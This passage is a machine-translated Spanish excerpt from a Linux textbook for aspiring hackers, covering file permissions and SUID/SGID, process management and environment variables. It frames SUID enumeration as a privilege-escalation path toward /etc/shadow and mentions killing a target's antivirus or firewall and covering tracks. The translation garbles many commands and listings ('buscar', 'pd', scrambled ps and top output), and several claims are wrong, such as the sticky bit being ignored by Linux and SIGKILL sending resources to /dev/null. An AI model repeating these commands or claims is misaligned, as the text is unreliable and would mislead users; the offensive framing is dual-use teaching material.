Podemos ver newhackertool en ÿ, junto con el resto de contenidos del directorio raíz.
Podemos ver que nuestro newhackertool no tiene permiso de ejecución para nadie. Esto
hace que sea imposible de usar. Puede parecer extraño que, de manera predeterminada,
Linux no le permita ejecutar un archivo que descargó, pero en general, esta configuración
hace que su sistema sea más
seguro.

Podemos darnos permiso para ejecutar newhackertool por


ingresando lo siguiente:

kali >chmod 766 nuevohackertool

Ahora, cuando realizamos un listado largo en el directorio, podemos ver


que nuestro newhackertool tiene permiso de ejecución para el propietario:

kali >chmod 766 newhackertool


tiempos >ls -l total 80

--snip--
drwxr-xr-x 7 root root 4096 5 de diciembre 11.17 Música -rwxrw-rw- 1
root root 1072 5 de diciembre 11.17 newhackertool drwxr-xr-x 7 root root 4096 5
de diciembre 11.17 Imágenes --snip--

Como ahora comprende, esto nos otorga (como propietario) todos los permisos,
incluida la ejecución, y otorga al grupo y a todos los demás solo permisos de lectura y
escritura (4 + 2 = 6).

Configuración de permisos predeterminados más seguros con


Máscaras

Como ha visto, Linux asigna automáticamente permisos básicos, generalmente 666 para
archivos y 777 para directorios. Puede cambiar los permisos predeterminados asignados
a los archivos y directorios creados por cada usuario con el método umask (o
desenmascarar). El método umask representa los permisos que desea eliminar de los
permisos básicos en un archivo o directorio para hacerlos más seguros.
Machine Translated by Google

El umask es un número decimal de tres dígitos que corresponde a los tres dígitos de permisos, pero
el número de umask se resta del número de permisos para dar el nuevo estado de permisos. Esto significa
que cuando se crea un nuevo archivo o directorio, sus permisos se establecen en el valor predeterminado
menos el valor en umask, como se muestra en la Figura 5-1.

Figura 5-1: Cómo un valor de umask de 022 afecta los permisos en archivos y directorios nuevos

Por ejemplo, si umask se establece en 022, un archivo nuevo con los permisos predeterminados
originales de 666 ahora tendrá los permisos 644, lo que significa que el propietario tiene permisos de
lectura y escritura, y el grupo y todos los demás usuarios solo tienen permiso de lectura.

En Kali, como en la mayoría de los sistemas Debian, el umask está preconfigurado para
022, lo que significa que el valor predeterminado de Kali es 644 para archivos y 755 para directorios.

El valor umask no es universal para todos los usuarios del sistema. Cada usuario puede establecer
un valor umask personal predeterminado para los archivos y directorios en su archivo .profile personal.
Para ver el valor actual cuando inicia sesión como usuario, simplemente ingrese el comando umask y
observe lo que se devuelve. Para cambiar el valor de umask para un usuario, edite el archivo /home/
username/.profile y, por ejemplo, agregue umask 007 para configurarlo de modo que solo el usuario y los
miembros del grupo del usuario tengan permisos.

Permisos especiales Además de los tres

permisos de propósito general, rwx, Linux tiene tres permisos especiales que son un poco más
complicados. Estos permisos especiales son el ID de usuario (o SUID), el ID de grupo (o SGID) y el sticky
bit. Discutiré cada uno por separado en las próximas tres secciones.

Concesión de permisos raíz temporales con SUID


Machine Translated by Google

Como ya debería saber, un usuario puede ejecutar un archivo solo si tiene permiso para
ejecutar ese archivo en particular. Si el usuario solo tiene permisos de lectura y/o escritura,
no puede ejecutar. Esto puede parecer sencillo, pero hay excepciones a esta regla.

Es posible que haya encontrado un caso en el que un archivo requiere los permisos del
usuario root durante la ejecución para todos los usuarios, incluso aquellos que no son root.
Por ejemplo, un archivo que permite a los usuarios cambiar su contraseña necesitaría acceso
al archivo /etc/shadow, el archivo que contiene las contraseñas de los usuarios en Linux, que
requiere privilegios de usuario raíz para poder ejecutarse. En tal caso, puede otorgar
temporalmente los privilegios del propietario para ejecutar el archivo configurando el bit SUID
en el programa.
Básicamente, el bit SUID dice que cualquier usuario puede ejecutar el archivo con los
permisos del propietario, pero esos permisos no se extienden más allá del uso de ese archivo.

Para establecer el bit SUID , ingrese un 4 antes de los permisos normales, de modo que
un archivo con un nuevo permiso resultante de 644 se represente como 4644 cuando se
establece el bit SUID .

Establecer el SUID en un archivo no es algo que haría un usuario típico, pero


si desea hacerlo, usará el comando chmod , como en el nombre de archivo
chmod 4644 .

Otorgar permisos de grupo del usuario raíz SGID SGID también


otorga permisos elevados temporales, pero otorga los permisos del
grupo del propietario del archivo, en lugar del propietario del archivo.
Esto significa que, con un bit SGID establecido, alguien sin permiso de ejecución puede
ejecutar un archivo si el propietario pertenece al grupo que tiene permiso para ejecutar ese
archivo.
El bit SGID funciona de forma ligeramente diferente cuando se aplica a un directorio:
cuando el bit se establece en un directorio, la propiedad de los nuevos archivos creados en
ese directorio pasa al grupo del creador del directorio, en lugar del grupo del creador del
archivo. Esto es muy útil cuando varios usuarios comparten un directorio. Todos los usuarios
de ese grupo pueden ejecutar los archivos, no solo un usuario.
Machine Translated by Google

El bit SGID se representa como 2 antes de los permisos normales, por lo que
un nuevo archivo con los permisos resultantes 644 se representaría como 2644
cuando se establece el bit SGID. Nuevamente, usaría el comando chmod para
esto, por ejemplo, nombre de archivo chmod 2644 .

El Sticky Bit pasado de moda El Sticky

Bit es un bit de permiso que puede configurar en un directorio para permitir que
un usuario elimine o cambie el nombre de los archivos dentro de ese directorio.
Sin embargo, el bit pegajoso es un legado de los sistemas Unix más antiguos y
los sistemas modernos (como Linux) lo ignoran. Como tal, no lo discutiré más
aquí, pero debe estar familiarizado con el término porque puede escucharlo en el
mundo de Linux.

Permisos especiales, Escalada de privilegios y la


hacker
Como pirata informático, estos permisos especiales se pueden usar para explotar los
sistemas Linux a través de la escalada de privilegios, por lo que un usuario normal
obtiene privilegios de raíz o administrador del sistema y los permisos asociados. Con
privilegios de root, puede hacer cualquier cosa en el sistema.
Una forma de hacer esto es explotar el bit SUID . Un administrador del sistema o un
desarrollador de software puede configurar el bit SUID en un programa para permitir
que ese programa acceda a los archivos con privilegios de raíz. Por ejemplo, las
secuencias de comandos que necesitan cambiar contraseñas a menudo tienen
configurado el bit SUID . Usted, el hacker, puede usar ese permiso para obtener
privilegios temporales de raíz y hacer algo malicioso, como obtener acceso a las contraseñas en /etc/sh
Busquemos archivos con el bit SUID establecido en nuestro sistema Kali para
probar esto. En el Capítulo 1, le presenté el comando de búsqueda . Usaremos su
poder para encontrar archivos con el conjunto de bits SUID .
Como recordará, el comando de búsqueda es poderoso, pero la sintaxis es un poco
más complicada que algunos de los otros comandos de ubicación, como localizar y
cuál. Tómese un momento para revisar la sintaxis de búsqueda en el Capítulo 1, si es
necesario.
Machine Translated by Google

En este caso, queremos encontrar archivos en cualquier parte del sistema de archivos,
para el usuario raíz u otro administrador del sistema, con los permisos 4000. Para hacer esto,
podemos usar el siguiente comando de búsqueda :

kali >buscar / -usuario raíz -perm -4000

Con este comando, le pedimos a Kali que comience a buscar en la parte superior del
sistema de archivos con la sintaxis / . Luego busca en todas partes debajo de / los archivos que
son propiedad de la raíz, especificados con la raíz del usuario y que tienen el bit de permiso
SUID establecido (-perm -4000).
Cuando ejecutamos este comando, obtenemos el resultado que se muestra en el Listado 5-
2.

/usr/bin/chsh /
usr/bin/gpasswd /
usr/bin/pkexec /usr/
bin/sudo /usr/bin/
passwd /usr/bin/
kismet_capture --snip--

Listado 5-2: Encontrar archivos con el bit SUID activado

La salida revela numerosos archivos que tienen el bit SUID establecido. Naveguemos al
directorio /usr/bin, donde residen muchos de estos archivos, y luego ejecutemos una lista larga
en ese directorio y desplacemos hacia abajo hasta el archivo sudo, como se muestra en el
Listado 5-3.

kali >cd /usr/bin kali


>ls -l --snip-- -rwxr-xr-
x 1 raíz raíz 176272
-rwxr-xr-x 1 raíz raíz 26696 18 de julio de 2018 stunnel4
Mar 17 2018 sucrack
ÿ -rwsr-xr-x 1 raíz raíz 140944 --recorte-- 5 de julio de 2018 sudo

Listado 5-3: Identificación de archivos con el conjunto de bits SUID

Tenga en cuenta que en ÿ, el primer conjunto de permisos, para el propietario, tiene una s
en lugar de la x. Así es como Linux representa que el bit SUID está configurado.
Esto significa que cualquier persona que ejecute el archivo sudo tiene los privilegios del usuario
raíz, lo que puede ser un problema de seguridad para el administrador del sistema y un
Machine Translated by Google

vector de ataque potencial para el hacker. Por ejemplo, algunas aplicaciones necesitan
acceder al archivo /etc/shadow para completar con éxito sus tareas. Si el atacante puede
obtener el control de esa aplicación, puede usar el acceso de esa aplicación a las
contraseñas en un sistema Linux.
Linux tiene un sistema de seguridad bien desarrollado que protege los archivos y
directorios del acceso no autorizado. El aspirante a hacker necesita tener una comprensión
básica de este sistema no solo para proteger sus archivos sino también para ejecutar
nuevas herramientas y archivos. En algunos casos, los piratas informáticos pueden explotar
los permisos SUID y SGID para escalar los privilegios de un usuario normal a otro.
un usuario raíz.

Resumen El

uso que hace Linux de los permisos para proteger los archivos y directorios de un usuario
o grupo de otros usuarios en el sistema puede usarse con fines ofensivos y defensivos.
Ahora debería saber cómo administrar estos permisos y cómo explotar los puntos débiles
de este sistema de seguridad, en particular, los bits SUID y SGID .

EJERCICIOS

Antes de pasar al Capítulo 6, ponga a prueba los conocimientos adquiridos en este capítulo completando los
siguientes ejercicios:

1. Seleccione un directorio y ejecute una lista larga en él. Tenga en cuenta los permisos en los archivos.
y directorios.

2. Seleccione un archivo para el que no tenga permiso de ejecución y concédase permisos de ejecución
con el comando chmod . Intente utilizar tanto el método numérico (777) como el método UGO.

3. Elija otro archivo y cambie su propiedad usando chown.


4. Utilice el comando de búsqueda para buscar todos los archivos con el conjunto de bits SGID .
Machine Translated by Google

6
GESTIÓN DE PROCESO

En un momento dado, un sistema Linux normalmente tiene cientos, o incluso miles,


de procesos que se ejecutan simultáneamente. Un proceso es simplemente un
programa que se ejecuta y utiliza recursos. Incluye una terminal, un servidor web,
cualquier comando en ejecución, cualquier base de datos, la interfaz GUI y mucho
más. Cualquier buen administrador de Linux, y particularmente un pirata informático,
debe comprender cómo administrar sus procesos para optimizar sus sistemas. Por
ejemplo, una vez que un pirata informático toma el control de un sistema de destino,
es posible que desee encontrar y detener un determinado proceso, como una
aplicación antivirus o un firewall. Para hacerlo, el hacker primero necesitaría saber
cómo encontrar el proceso. Es posible que el pirata informático también desee
configurar un script de escaneo para que se ejecute periódicamente para encontrar
sistemas vulnerables, por lo que también veremos cómo programar dicho script.
En este capítulo, aprenderá a administrar esos procesos. Primero, aprenderá a
ver y buscar procesos y cómo descubrir qué procesos utilizan la mayoría de los
recursos. Luego, aprenderá a administrar procesos ejecutándolos en segundo plano,
priorizándolos y eliminándolos si es necesario (sin sangre involucrada). Finalmente,
aprenderá a programar procesos para que se ejecuten en días y fechas específicos
ya horas específicas.

Visualización de procesos
Machine Translated by Google

En la mayoría de los casos, el primer paso en la gestión de procesos es ver qué


los procesos se están ejecutando en su sistema. La herramienta principal para ver
procesos, y uno de los mejores amigos del administrador de Linux, es el comando. PD

Ejecútelo en su línea de comando para ver qué procesos son


activo:

kali> pd
PID TTY HORA CMD
39659 puntos/0 00:00:01 golpe
39665 puntos/0 00:00:00 p.d.

El kernel de Linux, el núcleo interno del sistema operativo que


controla casi todo, asigna un ID de proceso único (PID) a cada
proceso secuencialmente, a medida que se crean los procesos. al trabajar con
estos procesos en Linux, a menudo necesita especificar sus PID, por lo que es
mucho más importante tener en cuenta el PID del proceso que el nombre del
proceso.
Solo, el comando
PDrealmente no le proporciona mucho

información. Ejecutar el comando sin


PD ninguna opción enumera el

procesos iniciados (se dice que son invocados) por el usuario conectado actualmente (en
nuestro caso, raíz) y qué procesos se están ejecutando en ese terminal. Aquí
simplemente dice que el shell bash está abierto y ejecutándose y que ejecutamos el
PD mando. Queremos y necesitamos mucha más información que eso,

particularmente en aquellos procesos ejecutados por otros usuarios y por el sistema en


el fondo. Sin esta información, sabemos muy poco de lo que
está teniendo lugar en nuestro sistema.
ejecutando el PD el comando con las opciones aux mostrará todos los procesos
ejecutándose en el sistema para todos los usuarios, como se muestra en el Listado 6-1. Tenga en cuenta que
usted no antepone estas opciones con un guión (-) y que todo está en
minúsculas; porque Linux distingue entre mayúsculas y minúsculas, usando opciones en mayúsculas
le daría resultados significativamente diferentes.

kali > ps auxiliar


PID DE USUARIO %CPU %MEM VSZ RSS TTY 202540 COMANDO DE TIEMPO DE INICIO STAT
Raíz 1 0.0 0.4
3 0.0
Raíz0.0
2 0.0
--snip--
0.0 Raíz 6396 ? 0? 0? Ss abr24 0:46 /sbin/iniciar
0 S 24 de abril 0:00 [ksubproceso]
0 S 24 de abril 0:26 [ksoftirqd / 0]

root 39706 0.0 0.2 36096 3204 puntos/0 R+ 15:05 0:00 pd a


Machine Translated by Google

Listado 6-1: Uso de las opciones auxiliares para ver los procesos de todos los usuarios

Como puede ver, este comando ahora enumera tantos procesos que probablemente
se ejecutan en la parte inferior de la pantalla. El primer proceso es init, que aparece
en la columna final, y el último proceso es el comando que ejecutamos para mostrar,
ps aux. Muchos de los detalles (PID, %CPU, TIME, COMMAND, etc.) pueden ser
diferentes en su sistema, pero deben tener el mismo formato. Para nuestros
propósitos, aquí están las columnas más importantes en esta salida:

USUARIO El usuario que invocó el proceso.

PID El ID del proceso

%CPU El porcentaje de CPU que utiliza este proceso

%MEM El porcentaje de memoria que utiliza este proceso

COMMAND El nombre del comando que inició el proceso

En general, para realizar cualquier acción sobre un proceso, debemos especificar su


PID. Veamos cómo usar este identificador a nuestro favor.

Filtrado por nombre de proceso


Cuando consultamos o realizamos una acción en los procesos, generalmente no
queremos que todos los procesos se muestren en la pantalla. Es simplemente un
problema de demasiada información. La mayoría de las veces, queremos encontrar
información sobre un solo proceso. Para hacerlo, podemos usar el comando de filtrado
grep, que introduje en el capítulo 1.
Para demostrarlo, utilizaremos el marco de explotación Metasploit, el marco de
explotación más utilizado y el mejor amigo de casi todos los piratas informáticos. Esto
viene instalado en su sistema Kali, así que inicie Metasploit con lo siguiente:

tiempos > msfconsole

Una vez que se ha iniciado el marco de explotación, veamos si podemos encontrarlo


en la lista de procesos. Para hacerlo, use el comando ps aux y luegogrep
canalícelo
buscando
(|) ala
cadena msfconsole, como en el Listado 6-2.
Machine Translated by Google

kali> ps aux | grep msfconsole root 39756


0.0 0.0 4304 716 pts/2 Ss+ 15:13 0:00 sh -c service postgresql start && msfdb init & msfconsole root
39759 35.1 15.2 4304 227888 pts/2 Sl+ 15:13 1:36 ruby/usr/bin / msfconsole root 39892 0.0 0.0 4304
940 pts/ 2 S+ 15:18 0:00 grep msfconsole

Listado 6-2: Filtrando una búsqueda de ps para encontrar un proceso en particular

A partir de la salida filtrada en esta lista, debería ver todos los procesos que
coinciden con el término msfconsole. La base de datos PostgreSQL, que es la
base de datos que usa Metasploit, se muestra primero, luego el propio programa
msfconsole desde /usr/bin/msfconsole. Finalmente, debería ver el comando que sujeción

usó para buscar msfconsole. Observe que la salida no incluía la lista de


encabezados de columna de ps. Dado queen la el
palabra clave, msfconsole,
encabezado, no Aun
no se muestra. está
así, los resultados se muestran en el mismo formato.

De esto, usted puede aprender alguna información importante. Si, por ejemplo,
necesita saber cuántos recursos está usando Metasploit, puede consultar la
tercera columna (la columna de la CPU), para ver que está usando el 35,1 por
ciento de su CPU, y consultar la cuarta columna para ver que está usando el 15,2
por ciento de la memoria de su sistema. Eso es bastante.
¡Es una bestia exigente!

Encontrar los procesos más codiciosos con top Cuando ingresa

el comando ps , los procesos


se iniciaron
se muestran
y, dado
en que
el orden
el kernel
en que
asigna los PID en el
orden en que se iniciaron, lo que ve son procesos ordenados por número de PID.

En muchos casos, queremos saber qué procesos están usando la mayoría de


los recursos. Aquí es donde el comando superior es útil porque muestra los
procesos ordenados por recursos utilizados, comenzando con el más grande. A
diferencia del comandotop
ps actualiza
, que noslabrinda
lista dinámicamente,
una instantáneade
única
manera
de los procesos,
predeterminada, cada 10 segundos. Puede observar y monitorear esos procesos
que consumen muchos recursos, como se muestra en el Listado 6-3.

kali >top top


- 15:31:17 hasta 2 días, ^;50, 4 usuarios, promedio de carga: 0.00, 0.04, 0.09
Machine Translated by Google

Tareas: 176 en total, 1 en ejecución, 175 en reposo, 0 detenido, 0 zombi


%Cpu(s): 1,3 us, 0,7 sy, ).) ni, 97,4 id, 0,0 wa, 0,0 hi 0,0 si 0,0 KiB Mem: 1491220
total, 64848 gratis, 488272 usados, 938100 buff/cache KiB Swap: 1046524 en total,
1044356 gratis, 2168 usados. 784476 disponibles MEM

PID USUARIO PR NI Vird SHR S% CPU% RES MEM Time + Command 39759 Raíz 20 0 893180
247232 11488 S 0.7 16.6 1: 47.88 Ruby 39859 raíz 20 0 27308 16796 14272 S 0.3 1.2 1: 47.88
Postgres 39933 raíz 20 0 293936 61500 29108 S 0.7 4.1 1:47.88 Xorg --recorte--

Listado 6-3: Encontrar los procesos más codiciosos con top

Los administradores del sistema a menudo mantienen la ejecución superior en una


terminal para monitorear el uso de los recursos del proceso. Como pirata informático, es
posible que desee hacer lo mismo, especialmente si tiene varias tareas ejecutándose en su sistema.
Mientras tiene la parte superior en funcionamiento, presione la tecla H o ? La tecla mostrará
una lista de comandos interactivos y al presionar Q se cerrará la parte superior. Pronto
volverá a usar top para administrar sus procesos en "Cambiar la prioridad del proceso con
nice" en la página 65 y "Eliminar procesos" en la página 66.

Administrar procesos Los piratas

informáticos a menudo necesitan multiprocesar, y un sistema operativo como Kali es


ideal para esto. El pirata informático puede tener un escáner de puertos ejecutándose
mientras ejecuta un escáner de vulnerabilidades y un exploit simultáneamente. Esto
requiere que el pirata informático administre estos procesos de manera eficiente para
utilizar mejor los recursos del sistema y completar la tarea. En esta sección, le
mostraré cómo administrar múltiples procesos.

Cambiar la prioridad del proceso con nice

No suele escuchar la palabra agradable en el contexto de los piratas informáticos, pero aquí
lo hará. El comando nice se usa para influir en la prioridad de un proceso para el kernel.
Como vio cuando ejecutamos el comando ps , numerosos procesos se ejecutan
sistema
en aella vez
y todos compiten por los recursos disponibles. El kernel tendrá la última palabra sobre la
prioridad de un proceso, pero puede usar nice para sugerir que un proceso debe tener una
prioridad elevada.
Machine Translated by Google

La idea detrás del uso del término amable es que, cuando lo usa, está
determinando qué tan "amable" será para otros usuarios: si su proceso está usando
la mayoría de los recursos del sistema, no está siendo muy amable. agradable.
Los valores de Niza oscilan entre –20 y +19, siendo cero el valor predeterminado
(consulte la Figura 6-1). Un valor agradable alto se traduce en una prioridad baja,
y un valor agradable bajo se traduce en una prioridad alta (cuando no está siendo
tan amable con otros usuarios y procesos). Cuando se inicia un proceso, hereda el
valor agradable de su proceso principal. El propietario del proceso puede reducir
la prioridad del proceso pero no puede aumentar su prioridad. Por supuesto, el
superusuario o el usuario root pueden establecer arbitrariamente el valor agradable
como deseen.

Figura 6-1: Valores de prioridad de amabilidad

Cuando inicia un proceso, puede establecer el nivel de prioridad con el comando


nice y luego modificar la prioridad después de que el proceso haya comenzado a
ejecutarse con el comando renice . La sintaxis de estos dos comandos es
ligeramente diferente y puede resultar confusa. El comando agradable requiere
que incrementes el valor agradable , mientras que el comando renice requiere un
valor absoluto para la bondad. Veamos un ejemplo para demostrar esto.

Establecer la prioridad al iniciar un proceso Para fines


de demostración, supongamos que tenemos un proceso llamado slowprocess
que se encuentra en /bin/slowprocess. Si quisiéramos acelerar su finalización,
podríamos iniciar el proceso con el comando nice :

kali> agradable -n -10 /bin /proceso lento

Este comando incrementaría el valor agradable en -10, aumentando su


prioridad y asignándole más recursos.
Por otro lado, si queremos ser amables con nuestros compañeros usuarios y
procesos y darle a slowprocess una prioridad más baja, podríamos incrementar su
Machine Translated by Google

buen valor positivamente por 10:

kali> agradable -n 10 /bin /proceso lento

Pruébelo en un proceso que esté ejecutando actualmente y luego ejecútelo


ps para ver cómo cambia, si es que cambia.

Cambiar la prioridad de un proceso en ejecución con renice


El comando renice toma valores absolutos entre -20 y 19 y establece la prioridad en ese
nivel en particular, en lugar de aumentar o disminuir desde el nivel en el que comenzó.
Además, renice requiere el PID del proceso al que se dirige en lugar del nombre. Por lo
tanto, si slowprocess está utilizando una cantidad excesiva de recursos en su sistema y
desea darle una prioridad más baja, permitiendo así que otros procesos tengan una
prioridad más alta y más recursos, puede renovar el proceso lento (que tiene un PID
de 6996) y darle es un valor agradable mucho más alto , así:

tiempos >renice 20 6996

Al igual que con nice, solo el usuario root puede renice un proceso a un valor
negativo para darle mayor prioridad, pero cualquier usuario puede ser amable y reducir
la prioridad con renice.
También puede usar la utilidad superior para cambiar el valor agradable . Con la
utilidad superior en ejecución, simplemente presione la tecla R y luego proporcione el
PID y el valor agradable . El listado 6-4 muestra la utilidad principal en ejecución.
Cuando presiono la tecla R y proporciono el PID y el buen valor, obtengo el siguiente resultado:
Machine Translated by Google

Listado 6-4: Cambiar un valor agradable cuando se usa top

Cuando presiono la tecla R, se me solicita el PID ÿ con el texto renice PID [value] to value.
El resultado debería entonces cambiar para reflejar las nuevas prioridades.

Eliminación de procesos A

veces, un proceso consumirá demasiados recursos del sistema, exhibirá un


comportamiento inusual o, en el peor de los casos, se congelará. Un proceso que
exhibe este tipo de comportamiento a menudo se denomina proceso zombi. Para
usted, probablemente el síntoma más problemático será el desperdicio de recursos
utilizados por el zombi que podrían asignarse mejor a procesos útiles.
Cuando identifique un proceso problemático, es posible que desee detenerlo con el comando
matar . Hay muchas formas diferentes de matar un programa, y cada una tiene su propio
número de muerte.
El comando de eliminación tiene 64 señales de eliminación diferentes, y cada una hace
algo ligeramente diferente. Aquí, nos centramos en algunos que probablemente le resulten más
útiles. La sintaxis del comando de interrupción es PID de señal de interrupción, donde el
interruptor de señal es opcional. Si no proporciona un indicador de señal, el valor predeterminado
es SIGTERM. La Tabla 6-1 enumera las señales de eliminación comunes

Tabla 6-1: Señales de apagado comúnmente utilizadas


Machine Translated by Google

Señal Número Descripción


nombre para para opción opción

SUSCRÍBETE 1 Esto se conoce como la señal Hangup (HUP). Detiene el


proceso designado y lo reinicia con el mismo PID.
SEÑAL 2 Esta es la señal de Interrupción (INT). Es una señal de eliminación
débil que no se garantiza que funcione, pero funciona en la mayoría
casos.

SIGQUITAR 3 Esto se conoce como volcado del núcleo. Termina el


proceso y guarda la información del proceso en la memoria,
y luego guarda esta información en el directorio de trabajo
actual en un archivo llamado core. (Las razones para hacer
esto están más allá del alcance de este libro).
SIGTERM 15 Esta es la señal de terminación (TERM). Es la señal de eliminación
predeterminada del comando de eliminación.

SIGKILL 9 Esta es la señal de muerte absoluta. Obliga al proceso a


detenerse enviando los recursos del proceso a un dispositivo
especial, /dev/null.

Usando el comando superior , puede identificar qué procesos están usando


demasiados recursos; a menudo, esos procesos serán legítimos, pero puede
haber procesos maliciosos que tomen recursos que querrá eliminar.
Si solo desea reiniciar un proceso con la señal HUP, ingrese el -1
opción con matar, así:

kali> matar -1 6996

En el caso de un zombi o un proceso malicioso, es probable que desee enviar


la señal de eliminación -9 , la señal de eliminación absoluta, al proceso. Esto
asegura que el proceso finalice.

kali> matar -9 6996


Machine Translated by Google

Si no conoce el PID de un proceso, puede usar el comando killall para finalizar el


proceso. Este comando toma como argumento el nombre del proceso, en lugar del PID.

Por ejemplo, podría terminar un proceso zombi hipotético como este:

kali >killall -9 proceso zombie

Finalmente, también puede terminar un proceso en el comando superior . Simplemente


presione la tecla K y luego ingrese el PID del proceso infractor.

Ejecución de procesos en segundo plano En Linux,


ya sea que esté trabajando desde la línea de comandos o la GUI, está
trabajando dentro de un shell. Todos los comandos que se ejecutan se
ejecutan desde ese shell, incluso si se ejecutan desde la interfaz gráfica.
Cuando ejecuta un comando, el shell espera hasta que se completa el
comando antes de ofrecer otro símbolo del sistema.
A veces, es posible que desee que un proceso se ejecute en segundo plano, en lugar
de tener que esperar a que se complete en esa terminal. Por ejemplo, supongamos que
queremos trabajar en un script en un editor de texto y, por lo tanto, llamamos a nuestro
editor de texto (leafpad) ingresando lo siguiente:

kali > hoja nueva escritura

En este caso, el shell bash abrirá el editor de texto leafpad para crear un nuevo script.
Mientras trabajamos en el editor de texto, la terminal está ocupada ejecutando el editor de
texto. Si volvemos a la terminal, deberíamos ver que está ejecutando nuestro editor de
texto y que no tenemos ningún indicador nuevo que nos permita ingresar más comandos.

Por supuesto, podríamos abrir otra terminal para ejecutar más comandos, pero una
mejor opción para ahorrar recursos y espacio en pantalla es iniciar el editor de texto
ejecutándose en segundo plano. Ejecutar un proceso en segundo plano simplemente
significa que continuará ejecutándose sin necesidad de la terminal. De esta forma, el
terminal queda libre para otras funciones.
Machine Translated by Google

Para iniciar el editor de texto en segundo plano, simplemente agregue un signo


de y comercial (&) al final del comando, así:

kali > guión nuevo de leafpad &

Ahora, cuando se abre el editor de texto, la terminal devuelve un nuevo símbolo


del sistema para que podamos ingresar otros comandos en nuestro sistema mientras
editamos nuestro nuevo script. Esto es efectivo para cualquier proceso que pueda
ejecutarse durante un período de tiempo significativo cuando desee usar la terminal.
Como hacker, encontrará esto útil para ejecutar múltiples terminales con múltiples
tareas, para ahorrar recursos y espacio en la pantalla.

Mover un proceso al primer plano Si desea mover un

proceso que se ejecuta en segundo plano al primer plano, puede usar el comando
fg (primer plano). El comando fg requiere el PID del proceso que desea devolver al
primer plano, como se muestra a continuación.

tiempos >fg 1234

Si no conoce el PID, puede utilizar el comando para encontrarlo.


PD

Programación de procesos Tanto los

administradores de sistemas Linux como los piratas informáticos a menudo necesitan programar
procesos para que se ejecuten en un momento particular del día. Un administrador del sistema
podría desear programar una copia de seguridad del sistema para que se ejecute todos los sábados
por la noche a las 2 a . m., por ejemplo. Un pirata informático podría querer configurar un script para
que se ejecute para realizar un reconocimiento de forma regular, encontrando puertos abiertos o vulnerabilidades.

En Linux, puede lograr esto al menos de dos maneras: con at y crond.


El comando at es un demonio, un proceso en segundo plano, útil para programar
un trabajo para que se ejecute una vez en algún momento en el futuro. El crond es
más adecuado para programar tareas para que ocurran todos los días, semanas o
meses, y lo cubriremos en detalle en el Capítulo 16.
Machine Translated by Google

Usamos el daemon at para programar la ejecución de un comando o conjunto de comandos en el futuro.

La sintaxis es simplemente el comando at seguido del tiempo para ejecutar el proceso. El argumento de tiempo
se puede proporcionar en varios formatos. La tabla 6-2 contiene los formatos de hora más comunes.

Tabla 6-2: Formatos de hora aceptados por el comando at

Formato de hora Significado

a las 19:20 Programado para ejecutarse a las 7:20 p . m. del día actual a las 7:20

p. m. del 25 de junio Programado para ejecutarse a las 7:20 p . m . del 25 de junio

y luego Programado para ejecutarse al mediodía del día actual

al mediodía del 25 de junio Programado para ejecutarse al mediodía del 25 de junio.

mañana Programado para ejecutarse mañana

ahora + 20 minutos Programado para ejecutarse en 20 minutos a partir de la hora actual

ahora + 10 horas Programado para ejecutarse en 10 horas a partir de la hora actual

en este momento + 5 días Programado para ejecutarse en cinco días a partir de la fecha actual

en ahora + 3 semanas Programado para ejecutarse en tres semanas a partir de la actual


fecha

a las 7:20 p. m. 25/06/2019 Programado para ejecutarse a las 7:20 p . m . el 25 de junio de 2019

Cuando ingresa al daemon at con la hora especificada, at entra en modo interactivo y es recibido con un
indicador at> . Aquí es donde ingresa el comando que desea ejecutar en el momento especificado:

kali > a las 7:20 a.


m. en >/root/myscanningscript

Este fragmento de código programará myscanningscript para ejecutarse hoy a las 7:20 a . m .

Resumen
Machine Translated by Google

La gestión de procesos en Linux es una habilidad clave para todos los usuarios y piratas
informáticos de Linux. Debe poder ver, buscar, eliminar, priorizar y programar procesos
para administrar su instancia de Linux de manera óptima. Un pirata informático a menudo
necesitará encontrar procesos en el objetivo que desea eliminar, como el software antivirus
o un firewall. También necesitarán administrar múltiples procesos en un ataque y priorizarlos.

EJERCICIOS

Antes de pasar al Capítulo 7, pruebe las habilidades que aprendió en este capítulo completando los
siguientes ejercicios:

1. Ejecute el comando ps con las opciones auxiliares en su sistema y observe qué proceso es el
primero y cuál el último.

2. Ejecute el comando top y observe los dos procesos que usan la mayor cantidad de
tus recursos
3. Use el comando kill para matar el proceso que usa la mayoría de los recursos.
4. Use el comando renice para reducir la prioridad de un proceso en ejecución a +19.
5. Cree un script llamado myscanning (el contenido no es importante) con un editor de texto y luego
prográmelo para que se ejecute el próximo miércoles a la 1 a. m.
Machine Translated by Google

7
GESTIÓN DE LAS VARIABLES DEL ENTORNO DEL USUARIO

Para aprovechar al máximo su sistema de pirateo de Linux, debe comprender


las variables del entorno y ser experto en administrarlas para obtener un
rendimiento, una comodidad e incluso un sigilo óptimos. Sin embargo, entre las
áreas que los recién llegados a Linux encuentran problemáticas, la gestión de
las variables del entorno del usuario puede ser la más difícil de dominar.
Técnicamente, hay dos tipos de variables: shell y entorno.
Las variables de entorno son variables de todo el sistema integradas en su
sistema e interfaz que controlan la forma en que su sistema se ve, actúa y "se
siente" para el usuario, y son heredadas por cualquier shell o proceso secundario.
Las variables de shell, por otro lado, generalmente se enumeran en minúsculas
y solo son válidas en el shell en el que están configuradas. Para evitar una
explicación excesiva, solo cubro algunas de las habilidades más básicas y útiles
para las variables de entorno y shell en este capítulo. y no profundice demasiado
en las diferencias entre ellos.
Las variables son simplemente cadenas en pares clave-valor. Generalmente,
cada par se verá como CLAVE=valor. En los casos en que haya varios valores,
se verán como CLAVE=valor1:valor2. Como ocurre con la mayoría de las cosas
en Linux, si hay espacios en el valor, debe estar entre comillas. En Kali Linux, su
entorno es su shell bash. Cada usuario, incluido el root, tiene un conjunto
predeterminado de variables de entorno que determinan cómo se ve, actúa y se
siente el sistema. Puede cambiar los valores de estos
Machine Translated by Google

variables para hacer que su sistema funcione de manera más eficiente, adapte su
entorno de trabajo para satisfacer mejor sus necesidades individuales y, potencialmente,
cubrir sus huellas si es necesario.

Visualización y modificación de variables de entorno

Puede ver todas sus variables de entorno predeterminadas ingresando env en su


terminal desde cualquier directorio, así:

veces >env
XDG_VTNR=7
SSHAGENT_PID=922
XDG_SESSION_ID=2
XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/raíz
GLADE_PIXMAP_PATH=:eco
TÉRMINO=xtérmino

SHELL=/bin/bash --
snip--
USUARIO=raíz
--snip--
RUTA=/usr/local/sbin :usr/local/bin:/usr/sbin:/sbin/bin --snip--

INICIO=/raíz --
recorte--

Las variables de entorno siempre están en mayúsculas, como en HOME, PATH, SHELL, etc. Estas son solo las

